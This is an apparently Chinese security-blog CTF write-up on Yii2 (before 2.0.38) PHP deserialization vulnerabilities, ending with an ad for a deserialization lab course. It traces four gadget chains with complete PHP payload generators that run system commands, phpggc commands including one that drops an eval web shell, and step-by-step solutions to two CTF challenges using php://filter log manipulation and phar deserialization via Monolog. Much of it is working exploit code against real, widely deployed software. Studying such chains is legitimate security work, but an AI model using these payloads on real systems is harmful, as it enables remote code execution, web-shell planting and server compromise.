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通过几道CTF题学习yii2框架原创 larry 合天网安实验室 今天
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简介Yii是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架,Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize()时,攻击者可通过构造特定的恶意请求执行任意命令,本篇就分析一下yii2利用链以及如何自己去构造payload,并结合CTF题目去学习yii2框架
Yii2<2.0.38反序列化安装:在 https://github.com/yiisoft/yii2/releases 下载2.0.37的版本
然后在 yii-basic-app-2.0.37\basic\config\web.php里面往cookieValidationKey随意给点值,运行 php yii serve,新建一个控制器
yii-basic-app-2.0.37\basic\controllers\TestController.php
- <?php
- namespace app\controllers;
- use yii\web\Controller;
- class TestController extends Controller{
- public function actionTest($name){
- return unserialize($name);
- }
- }
复制代码 就可以进行测试了
- public function reset()
- {
- if ($this->_dataReader !== null) {
- $this->_dataReader->close();
- }
复制代码
?r=test/test&name=
链一链的入口在
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\db\BatchQueryResult.php
- public function __destruct()
- {
- // make sure cursor is closed
- $this->reset();
- }
复制代码 跟进$this->reset();
- public function reset()
- {
- if ($this->_dataReader !== null) {
- $this->_dataReader->close();
- }
复制代码 这里的$this->_dataReader可控,并调用了close()方法,那么可以找到一个类不存在close()方法,但存在__call方法就可以调用他了
在yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2-gii\src\Generator.php
- public function __call($method, $attributes)
- {
- return $this->format($method, $attributes);
- }
复制代码 这里的$method为close,$attributes为空,继续跟进format
- public function format($formatter, $arguments = array())
- {
- return call_user_func_array($this->getFormatter($formatter), $arguments);
- }
复制代码 跟进getFormatter
- public function getFormatter($formatter)
- {
- if (isset($this->formatters[$formatter])) {
- return $this->formatters[$formatter];
- }
复制代码 似曾相识的代码,laravel5.8某条链就出现过,这里$this->formatters可控,也就是$this->getFormatter($formatter)这这个可控,但是$arguments的值我们无法控制,值为空
到这里可以执行phpinfo了
- <?php
- namespace yii\db{
- class BatchQueryResult{
- private $_dataReader;
- public function __construct($_dataReader) {
- $this->_dataReader = $_dataReader;
- }
- }
- }
- namespace Faker{
- class Generator{
- protected $formatters = array();
- public function __construct($formatters) {
- $this->formatters = $formatters;
- }
- }
- }
- namespace {
- $a = new Faker\Generator(array('close'=>'phpinfo'));
- $b = new yii\db\BatchQueryResult($a);
- print(urlencode(serialize($b)));
- }
复制代码 但是我们想要rce的话,还要在yii2中已有的无参方法中进行挖掘
这里我们可以使用正则匹配直接搜索含有call_user_function的无参函数
call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)
然后找到下面两个都比较好用
- yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\IndexAction.php
- public function run()
- {
- if ($this->checkAccess) {
- call_user_func($this->checkAccess, $this->id);
- }
- return $this->prepareDataProvider();
- }
- yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\CreateAction.php
- public function run()
- {
- if ($this->checkAccess) {
- call_user_func($this->checkAccess, $this->id);
- }
复制代码 这里的$this->checkAccess和$this->id都是我们可控的
所以直接构造就行了
- <?php
- namespace yii\db{
- class BatchQueryResult{
- private $_dataReader;
- public function __construct($_dataReader) {
- $this->_dataReader = $_dataReader;
- }
- }
- }
- namespace Faker{
- class Generator{
- protected $formatters = array();
- public function __construct($formatters) {
- $this->formatters = $formatters;
- }
- }
- }
- namespace yii\rest{
- class CreateAction{
- public $checkAccess;
- public $id;
- public function __construct($checkAccess,$id){
- $this->checkAccess = $checkAccess;
- $this->id = $id;
- }
- }
- }
- namespace {
- $c = new yii\rest\CreateAction('system','whoami');
- $b = new Faker\Generator(array('close'=>array($c, 'run')));
- $a = new yii\db\BatchQueryResult($b);
- print(urlencode(serialize($a)));
- }
复制代码 链二这个是yii2 2.0.37的另外一条链
起点和链一相同,是BatchQueryResult类的__destruct,然后是$this->_dataReader->close(),但是这里不找__call,我们去找存在close方法的类
找到yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\web\DbSession.php
- class DbSession extends MultiFieldSession
- {
- ...
- public function close()
- {
- if ($this->getIsActive()) {
- // prepare writeCallback fields before session closes
- $this->fields = $this->composeFields();
复制代码 这里跟进$this->composeFields()
- abstract class MultiFieldSession extends Session
- {
- protected function composeFields($id = null, $data = null)
- {
- $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
复制代码 这里$this->writeCallback可控,$this是一个对象,所以这里调phpinfo的话应该不行,不过可以续上链一的run方法(即那个无参的方法)
这里直接构造即可
- <?php
- namespace yii\db{
- class BatchQueryResult{
- private $_dataReader;
- public function __construct($_dataReader) {
- $this->_dataReader = $_dataReader;
- }
- }
- }
- namespace yii\web{
- class DbSession{
- public $writeCallback;
- public function __construct($writeCallback) {
- $this->writeCallback = $writeCallback;
- }
- }
- }
- namespace yii\rest{
- class CreateAction{
- public $checkAccess;
- public $id;
- public function __construct($checkAccess,$id){
- $this->checkAccess = $checkAccess;
- $this->id = $id;
- }
- }
- }
- namespace {
- $c = new yii\rest\CreateAction('system','whoami');
- $b = new yii\web\DbSession(array($c, 'run'));
- $a = new yii\db\BatchQueryResult($b);
- print(urlencode(serialize($a)));
- }
复制代码 链三我们可以在yii2 2.0.38的commit看到他加了一个__wakeup
这里限制了链一的起点BatchQueryResult无法使用,后面的__call的链没有被破坏,所以我们继续寻找一个__destruct
yii-basic-app-2.0.37\basic\vendor\codeception\codeception\ext\RunProcess.php
- public function __destruct()
- {
- $this->stopProcess();
- }
复制代码 这里继续跟进stopProcess
- public function stopProcess()
- {
- foreach (array_reverse($this->processes) as $process) {
- /** @var $process Process **/
- if (!$process->isRunning()) {
- continue;
- }
复制代码 这里的$this->processes可控,所以可以利用$process->isRunning()来进行触发__call
后面的利用就和链一相同了
- <?php
- namespace Codeception\Extension{
- class RunProcess{
- private $processes = [];
- public function __construct($processes) {
- $this->processes[] = $processes;
- }
- }
- }
- namespace Faker{
- class Generator{
- protected $formatters = array();
- public function __construct($formatters) {
- $this->formatters = $formatters;
- }
- }
- }
- namespace yii\rest{
- class CreateAction{
- public $checkAccess;
- public $id;
- public function __construct($checkAccess,$id){
- $this->checkAccess = $checkAccess;
- $this->id = $id;
- }
- }
- }
- namespace {
- $c = new yii\rest\CreateAction('system','whoami');
- $b = new Faker\Generator(array('isRunning'=>array($c, 'run')));
- $a = new Codeception\Extension\RunProcess($b);
- print(urlencode(serialize($a)));
- }
复制代码 链四同样的先找__destruct
yii-basic-app-2.0.37\basic\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php
- public function __destruct()
- {
- foreach ($this->keys as $nsKey => $null) {
- $this->clearAll($nsKey);
- }
- }
复制代码 这里$nsKey可控,跟进clearAll
- public function clearAll($nsKey)
- {
- if (array_key_exists($nsKey, $this->keys)) {
- foreach ($this->keys[$nsKey] as $itemKey => $null) {
- $this->clearKey($nsKey, $itemKey);
- }
- if (is_dir($this->path.'/'.$nsKey)) {
- rmdir($this->path.'/'.$nsKey);
- }
- unset($this->keys[$nsKey]);
- }
- }
复制代码 这里没有触发__call的地方,但是存在字符串的拼接,可以触发__toString
随便找找就找到了
yii-basic-app-2.0.37\basic\vendor\codeception\codeception\src\Codeception\Util\XmlBuilder.php
- <code>public function __toString()</code><code>{</code><code> return $this->__dom__->saveXML();</code><code>}</code>
复制代码
同样用他去触发__cal
- <?php
- namespace {
- class Swift_KeyCache_DiskKeyCache{
- private $path;
- private $keys = [];
- public function __construct($path,$keys) {
- $this->path = $path;
- $this->keys = $keys;
- }
- }
- }
- namespace Codeception\Util{
- class XmlBuilder{
- protected $__dom__;
- public function __construct($__dom__) {
- $this->__dom__ = $__dom__;
- }
- }
- }
- namespace Faker{
- class Generator{
- protected $formatters = array();
- public function __construct($formatters) {
- $this->formatters = $formatters;
- }
- }
- }
- namespace yii\rest{
- class CreateAction{
- public $checkAccess;
- public $id;
- public function __construct($checkAccess,$id){
- $this->checkAccess = $checkAccess;
- $this->id = $id;
- }
- }
- }
- namespace {
- $c = new yii\rest\CreateAction('system','whoami');
- $b = new Faker\Generator(array('saveXML'=>array($c,'run')));
- $a = new Codeception\Util\XmlBuilder($b);
- $d = new Swift_KeyCache_DiskKeyCache($a,array('kawhi'=>'kawhi'));
- print(urlencode(serialize($d)));
- }
复制代码
phpggc使用./phpggc -l yii2可以看到有两条yii2的链
可以使用如下命令快速得到链,-u指url编码
./phpggc Yii2/RCE1 system id -u
phpggc的链二的终点是一个eval,所以这里可以直接写shell,-b指base64编码
./phpggc Yii2/RCE2 'file_put_contents("shell.php",base64_decode("D9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));' -b
CTF题目[HMBCTF 2021]framework把题目附件解压,看到html\controllers\SiteController.php
- class SiteController extends Controller
- {
- public function actionAbout($message = 'Hello')
- {
- $data = base64_decode($message);
- unserialize($data);
- }
复制代码 这里可以这样传参
?r=site/about&message=
拿链一打了一下,发现一下system等函数被ban
这里用phpggc yii2的链二写一个shell进去,然后用蚁剑的 apache/mod 绕 disable,运行 /readflag 即可获取 flag
[CISCN2021 Quals]filter据说这是配置文件里面的重要内容,或许对你有用!!
- 'log' => [
- 'traceLevel' => YII_DEBUG ? 0 : 0,
- 'targets' => [
- [
- 'class' => 'yii\log\FileTarget',
- 'levels' => ['error'],
- 'logVars' => [],
- ],
- ],
- ],
复制代码 看到附件的SiteController.php就改了这个地方
- public function actionIndex()<div class="blockcode"><blockquote>"require": {
- "php": ">=5.6.0",
- "yiisoft/yii2": "~2.0.14",
- "yiisoft/yii2-bootstrap": "~2.0.0",
- "yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0",
- "monolog/monolog":"1.19"
- },
复制代码
{
$file = Yii:app->request->get('file');
$res = file_get_contents($file);
file_put_contents($file,$res);
return $this->render('index');
}
yii框架的runtime/logs目录下有一个app.log
看一下依赖发现monolog符合
- "require": {
- "php": ">=5.6.0",
- "yiisoft/yii2": "~2.0.14",
- "yiisoft/yii2-bootstrap": "~2.0.0",
- "yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0",
- "monolog/monolog":"1.19"
- },
复制代码 首先清空日志文件
?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
phpggc生成
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output |base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
写入日志,注意最后面要加个字符a
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保留phar的内容
/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
最后用phar协议打一下
/?file=phar://../runtime/logs/app.log/test.txt
然后在根目录找到This_is_flaaagggg
然后用这个找一下flag即可
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
实操推荐PHP反序列化漏洞:(复制链接体验)
https://www.hetianlab.com/expc.d ... =weixin-wemedia#stu
通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。
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